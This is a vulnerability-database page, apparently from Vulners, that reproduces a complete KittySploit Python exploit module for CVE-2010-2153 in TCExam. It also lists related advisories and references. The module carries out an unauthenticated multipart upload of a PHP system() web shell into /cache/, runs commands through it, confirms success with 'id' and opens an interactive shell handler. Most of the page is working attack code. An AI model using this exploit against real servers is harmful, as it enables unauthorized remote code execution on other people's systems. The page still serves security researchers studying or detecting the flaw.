Lucene search
+L

TCExam - Unauthenticated File Upload RCE (CVE-2010-2153)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Unauthenticated RCE in TCExam via file upload to /cache/.

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2010-2153
2 Jun 201000:00
–circl
cve
CVE
CVE-2010-2153
3 Jun 201016:00
–cve
cvelist
Cvelist
CVE-2010-2153
3 Jun 201016:00
–cvelist
exploitdb
Exploit DB
TCExam 10.1.7 - '/admin/code/tce_functions_tcecode_editor.php' Arbitrary File Upload
2 Jun 201000:00
–exploitdb
euvd
EUVD
EUVD-2010-2169
7 Oct 202500:30
–euvd
kittysploit
KittySploit
TCExam - Unauthenticated File Upload RCE Detection (CVE-2010-2153)
10 Aug 202606:19
–kittysploit
nvd
NVD
CVE-2010-2153
3 Jun 201016:30
–nvd
openvas
OpenVAS
Tecnick TCExam < 10.1.012 File Upload Vulnerability - Active Check
11 Jun 201000:00
–openvas
openvas
OpenVAS
TCExam 'tce_functions_tcecode_editor.php' File Upload Vulnerability
11 Jun 201000:00
–openvas
prion
Prion
Unrestricted file upload
3 Jun 201016:30
–prion
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""TCExam unauthenticated upload RCE (CVE-2010-2153)."""

import re
from random import randint

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'TCExam - Unauthenticated File Upload RCE (CVE-2010-2153)',
        'description': (
            'Exploits CVE-2010-2153 by uploading a PHP shell via '
            'tce_functions_tcecode_editor.php into /cache/.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2010-2153'],
        'platform': Platform.PHP,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2010-2153'],
        'tags': ['tcexam', 'upload', 'rce', 'unauth', 'cve-2010-2153'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2010_2153_detect'],
            },
        },
    }

    base_path = OptString('', 'TCExam base path', required=False)

    def _shell_name(self) -> str:
        if not getattr(self, '_fname', None):
            self._fname = f'ks{randint(10000, 99999)}.php'
        return self._fname

    def _upload(self, php: str) -> bool:
        base = str(self.base_path or '').rstrip('/')
        fname = self._shell_name()
        boundary = '----WebKitFormBoundary7MA4YWxkTrZu0gW'
        body = (
            f'--{boundary}\r\n'
            "Content-Disposition: form-data; name='sendfile0'\r\n\r\n"
            f'{fname}\r\n'
            f'--{boundary}\r\n'
            f"Content-Disposition: form-data; name='userfile0'; filename='{fname}'\r\n"
            'Content-Type: application/octet-stream\r\n\r\n'
            f'{php}\r\n'
            f'--{boundary}--\r\n'
        )
        self.http_request(
            method='POST',
            path=f'{base}/admin/code/tce_functions_tcecode_editor.php',
            data=body,
            headers={
                'Content-Type': f'multipart/form-data; boundary={boundary}',
                'Cookie': 'LastVisit=1275442604',
                'Origin': 'null',
            },
            allow_redirects=False,
        )
        return True

    def execute(self, cmd: str) -> str:
        safe = str(cmd).replace("'", "\\'")
        self._upload(f"<?php system('{safe}'); ?>")
        base = str(self.base_path or '').rstrip('/')
        r = self.http_request(
            method='GET',
            path=f'{base}/cache/{self._shell_name()}',
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def handler_execute(self):
        out = self.execute('id')
        if not out or not re.search(r'uid=\d+', out):
            print_error('Target does not appear vulnerable to CVE-2010-2153')
            return False
        print_success('TCExam upload RCE confirmed')
        self.handler_console()
        return True

    def run(self):
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 06:19Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.07472
1